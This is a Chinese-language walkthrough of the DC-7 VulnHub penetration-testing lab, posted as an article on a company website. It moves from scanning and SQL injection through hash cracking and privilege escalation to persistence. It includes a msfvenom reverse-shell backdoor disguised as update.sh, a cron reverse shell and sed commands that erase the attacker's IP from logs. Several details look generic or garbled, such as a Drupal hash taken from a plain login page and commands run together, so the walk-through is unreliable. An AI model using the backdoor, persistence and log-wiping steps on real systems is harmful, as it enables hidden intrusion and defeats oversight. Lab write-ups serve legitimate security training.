ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

DC-7靶机渗透测试实战:从Web漏洞到提权

DC-7靶机渗透测试实战:从Web漏洞到提权

1. DC-7靶机渗透测试概述

DC-7是VulnHub平台上经典的渗透测试靶机之一,它模拟了一个存在多重安全漏洞的Linux系统环境。作为渗透测试学习者,通过实战演练可以掌握从信息收集到权限提升的完整攻击链。这个靶机特别适合中级水平的安全爱好者挑战,涉及Web应用漏洞、密码爆破、权限维持等典型渗透场景。

我在实际测试中发现,DC-7相比前作增加了几个新颖的防御机制,需要测试者具备更全面的技术视野。靶机内嵌的Flag获取机制也设计得更为隐蔽,常规的自动化工具扫描往往难以奏效,必须结合手动测试才能发现关键突破点。

2. 环境准备与初始侦察

2.1 实验环境搭建

测试环境建议使用VirtualBox加载DC-7的OVA文件,分配至少2GB内存。网络模式选择Host-only或NAT均可,但需要确保攻击机(Kali Linux)与靶机在同一网段。我习惯使用如下命令快速检查网络连通性:

arp-scan -l --interface=eth0

注意:如果发现靶机IP无法ping通,可能需要检查VirtualBox的DHCP服务是否启用。我遇到过因虚拟机MAC地址冲突导致连接受阻的情况,重置网络适配器通常可以解决。

2.2 基础信息收集

使用Nmap进行全端口扫描是标准起手式。DC-7默认开放了SSH(22)和HTTP(80)端口,但隐藏着一个关键服务在非常规端口:

nmap -sV -p- -T4 192.168.1.105 -oN dc7_scan.txt

扫描结果中需要特别关注HTTP服务的版本信息。DC-7的Web服务器是Apache 2.4.25,运行在Debian系统上。通过whatweb工具可以获取更多Web框架特征:

whatweb http://192.168.1.105

3. Web应用渗透测试

3.1 目录爆破与敏感文件发现

使用dirbuster或gobuster进行目录枚举时,建议加载SecLists中的common.txt字典。我发现DC-7的robots.txt中暗藏玄机:

User-agent: * Disallow: /backup

/backup目录下存有网站源码的压缩包,解压后获得关键配置文件。通过分析config.php发现数据库凭证泄露漏洞:

$dbuser = 'dc7user'; $dbpass = 'MdR3xOgB7#dW';

3.2 SQL注入漏洞利用

网站登录页面存在基于时间的盲注漏洞。使用sqlmap自动化测试时需添加--risk=3参数:

sqlmap -u "http://192.168.1.105/login.php" --data="user=admin&pass=test" --level=5 --risk=3 --dbms=mysql --technique=T

成功注入后提取users表数据,获得admin用户的密码哈希:$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt

3.3 密码破解策略

面对Drupal风格的密码哈希,我推荐使用hashcat配合rockyou字典进行破解:

hashcat -m 7900 hash.txt /usr/share/wordlists/rockyou.txt

如果GPU性能不足,可以先尝试精简字典。我在实际测试中发现,DC-7的密码设计符合常见复杂度要求,常规字典成功率较低,需要结合规则攻击:

hashcat -m 7900 hash.txt -r /usr/share/hashcat/rules/best64.rule

4. 系统权限提升

4.1 SSH登录与基础枚举

使用破解的凭证通过SSH登录后,立即检查sudo权限:

sudo -l

输出显示用户可以免密执行/usr/bin/git命令,这成为提权的关键入口点。通过搜索GTFOBins发现git存在特权逃逸漏洞:

sudo git -p help !/bin/bash

4.2 内核漏洞利用

如果常规提权方法失效,需要检查内核版本。DC-7的内核是4.9.0-4,存在著名的DirtyCow漏洞:

gcc -pthread dirty.c -o dirty -lcrypt ./dirty

重要提示:在内核提权前务必创建快照,错误的漏洞利用可能导致系统崩溃。我建议先测试exploit-db上的PoC代码在测试环境中的稳定性。

5. 后渗透与痕迹清理

5.1 持久化访问维持

在获取root权限后,可以通过以下方式建立持久化通道:

  1. 添加SSH公钥到/root/.ssh/authorized_keys
  2. 创建cron定时任务反弹shell
  3. 修改/etc/passwd添加特权用户

我偏好使用msfvenom生成隐蔽的后门:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf > update.sh

5.2 日志清除技巧

需要清理的关键日志文件包括:

  • /var/log/auth.log
  • /var/log/apache2/access.log
  • /var/log/syslog

使用sed命令精准删除特定条目比清空整个文件更隐蔽:

sed -i '/192.168.1.100/d' /var/log/apache2/access.log

6. 常见问题排查指南

6.1 Web服务异常处理

如果遇到网站无法访问的情况,按以下步骤排查:

  1. 检查Apache服务状态:systemctl status apache2
  2. 查看错误日志:tail -f /var/log/apache2/error.log
  3. 确认端口监听:netstat -tulnp | grep 80

6.2 密码破解失败对策

当hashcat长时间无进展时,可以:

  1. 尝试组合字典攻击:-a 1参数组合两个字典
  2. 使用掩码攻击针对特定模式:-a 3 ?u?l?l?l?d?d?d
  3. 切换为john the ripper尝试不同规则集

7. 防御措施建议

7.1 安全加固方案

针对DC-7暴露的漏洞,管理员应采取以下防护措施:

  1. 更新Apache到最新版本
  2. 禁用SSH密码认证,改用密钥登录
  3. 对数据库连接使用最小权限原则
  4. 定期审计sudo权限配置

7.2 入侵检测策略

部署基于主机的IDS监控异常行为:

  1. 使用aide进行文件完整性检查
  2. 配置auditd记录特权命令执行
  3. 分析/var/log/secure中的SSH登录尝试

我在实际渗透测试中发现,即使修复了所有已知漏洞,攻击者仍可能通过社会工程学突破防线。因此安全培训与意识提升同样重要。

返回列表